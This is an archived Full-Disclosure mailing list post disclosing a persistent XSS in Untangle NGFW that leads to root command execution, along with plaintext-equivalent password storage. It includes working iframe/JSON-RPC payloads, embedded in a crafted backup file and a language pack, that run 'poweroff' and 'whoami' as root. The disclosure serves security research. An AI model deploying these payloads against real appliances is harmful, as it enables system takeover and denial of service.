| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Tue, 28 Apr 2015 03:18:54 +0200
From: "Calum Hutton" <c.e.hutton@....com>
To: fulldisclosure@...lists.org
Cc: c.e.hutton@....com
Subject: [FD] [Additional vectors] Multiple vulnerabilities in Untangle NGFW
9-11
This is a follow up to an earlier post, highlighting an XSS and information disclosure vulnerability in versions of Untangle 9-11
The previous post is shown in full below this post.
Additional un-patched vectors have been discovered that allow for these issues to be exploited with increased feasibility.
The vectors exist due to improper handling of uploaded files, and insufficient validation and sanitisation of their contents.
Two different types of file can be crafted to implement and incorporate the XSS payload highlighted in my previous post. Because the uploaded file/data integrity is not checked, the Untangle system will save the malicious data from the crafted file, allowing for persistent XSS that can perform actions as root, via the logged in users authenticated session and access to the Untangle JSON-RPC API. An example for each file type is shown below:
- Backup file
Untangle backup files are unencrypted tar gzip archives with a .backup file extension. Because these files are not encrypted, it is trivial to extract and view the file backup contents. This is a problem firstly because there is a huge amount of sensitive information disclosure in this archive, including the plaintext passwords of Local Directory users (as mentioned in my previous post). Secondly it means that it is easy to insert malicious data into the file, and then re-compress and craft the file to appear to be a normal backup file. Through social-engineering, an Admin user could restore from this malicious file. An example of the data to insert could be a fake malicious port forward rule:
This example adds an iframe in the description field of the port forward rule that causes the Untangle system to shut down when the port forward page is loaded - network.js
"portForwardRules": {
"javaClass": "java.util.LinkedList",
"list": [
{
"description": "Test <iframe height='1' width='1' srcdoc='<html> <head> <script type=\"text/javascript\" src=\"/ext4/ext-all-debug.js\"></script> <script type=\"text/javascript\" src=\"/jsonrpc/jsonrpc.js\"></script> <script type=\"text/javascript\" src=\"/script/i18n.js\"></script> <script type=\"text/javascript\" src=\"script/components.js\"></script> <script type=\"text/javascript\" src=\"script/main.js\"></script> </head> <body onload=\"exec()\"> <script type=\"text/javascript\"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient(\"/webui/JSON-RPC\"); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = \"poweroff\"; var exit = rpc.execManager.execResult(cmd); } </script> </body> </html>'></iframe>",
"enabled": false,
"javaClass": "com.untangle.uvm.network.PortForwardRule",
"matchers": {
"javaClass": "java.util.LinkedList",
"list": []
},
"newDestination": "1.2.3.4",
"ruleId": 1,
"simple": false
}
]
},
- Language pack
Untangle language packs are unencrypted zip archives of various .po files that contain translation strings for the Untangle system. Because these are also unencrypted, and not checked for validity or sanitised, it means that it is easy to insert malicious data into the file, and then re-compress and craft the file to appear to be a normal language pack. Through social-engineering, an Admin user could import this malicious language pack into the system. An example of the data to insert is shown below:
This example adds an iframe in the left navigation bar of the web UI (About tab) that causes the Untangle system to shut down when any page is loaded - untangle-libuvm.po
#: ../servlets/webui/root/script/main.js:921
#: ../servlets/webui/root/script/config/about.js:16
#: ../servlets/webui/root/script/config/about.js:46
msgid "About"
msgstr "Sur <iframe height='1' width='1' srcdoc='<html> <head> <script type=\"text/javascript\" src=\"/ext4/ext-all-debug.js\"></script> <script type=\"text/javascript\" src=\"/jsonrpc/jsonrpc.js\"></script> <script type=\"text/javascript\" src=\"/script/i18n.js\"></script> <script type=\"text/javascript\" src=\"script/components.js\"></script> <script type=\"text/javascript\" src=\"script/main.js\"></script> </head> <body onload=\"exec()\"> <script type=\"text/javascript\"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient(\"/webui/JSON-RPC\"); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = \"poweroff\"; var exit = rpc.execManager.execResult(cmd); } </script> </body> </html>'></iframe>"
---------------------------------
> To: fulldisclosure@...lists.org
> CC: oss-security@...ts.openwall.com
> Subject: Multiple vulnerabilities in Untangle NGFW 9-11
> Date: Sun, 8 Mar 2015 21:32:52 +0000
>
> Multiple issues have been discovered in the Untangle NGFW virtual
> appliance. The vendor was unresponsive and uncooperative to the
> researcher.
>
> - Persistent XSS leading to root
>
> Authentication required
> Confirmed in versions 9 and 11 (up to rev r39357)
>
> Throughout the Untangle user interface there are editable data tables
> for various user configuration options. An example of this is in:
> Configuration> Networking> Port Forwards. This table can be edited by
> clicking add to create a new port forward rule, or directly edited by
> double-clicking on the table rows themselves.
>
> The problem arises from malicious user input into some of the fields of
> these editable tables, which is not properly sanitised and allows for
> execution of user supplied Javascript code in the context of the users
> browser. Because this configuration data is saved into the backend
> database, this allows for Persistent XSS in each of the vulnerable
> fields/tables.
>
> This XSS attack is particularly devastating due to the fact that the
> malicious attacker can run commands as root on the virtual appliance,
> allowing for total system takeover. This is because the Untangle
> JSON-RPC API has access to functionality provided by the ExecManager
> class
> (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java),
> which by default allows for arbitrary commands to be run as root on the
> system.
>
> A POC demonstrating the issue is below:
>
> Insert the following into the srcdoc attribute of a user-controlled
> iframe in the Description field or another vulnerable field (can also
> be styled to hide etc):
>
> Test <iframe srcdoc='[insert code]'></iframe> (single quotes)
>
> Insert:
>
> <html>
> <head>
> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script>
> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script>
> <script type="text/javascript" src="/script/i18n.js"></script>
> <script type="text/javascript" src="script/components.js"></script>
> <script type="text/javascript" src="script/main.js"></script>
> </head>
> <body onload="exec()">
> <script type="text/javascript">
> function exec() {
> var rpc = {};
> rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC");
> var serverUID = rpc.jsonrpc.UvmContext.getServerUID();
> alert(serverUID);
> rpc.execManager = rpc.jsonrpc.UvmContext.execManager();
> var cmd = "whoami> /tmp/who";
> var exit = rpc.execManager.execResult(cmd);
> alert("Command: " + cmd + " - Exit code: " + exit);
> }
> </script>
> </body>
> </html>
>
> - Information disclosure from Local Directory
>
> Authentication required
> Confirmed in versions 9 and 11, not fixed.
>
> The Local Directory interface shows a list of users stored on the
> Untangle system. Unfortunately, passwords are not sufficiently
> encrypted to prevent information disclosure.
>
> Each user in the local directory interface has an attribute,
> 'passwordBase64Hash', which is the base64 encoded string of the
> plaintext password. Because base64 is a bi-directional encoding scheme,
> the passwordBase64Hash attribute can be trivially decoded into the
> original plaintext string, revealing the password for each user.
CH
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists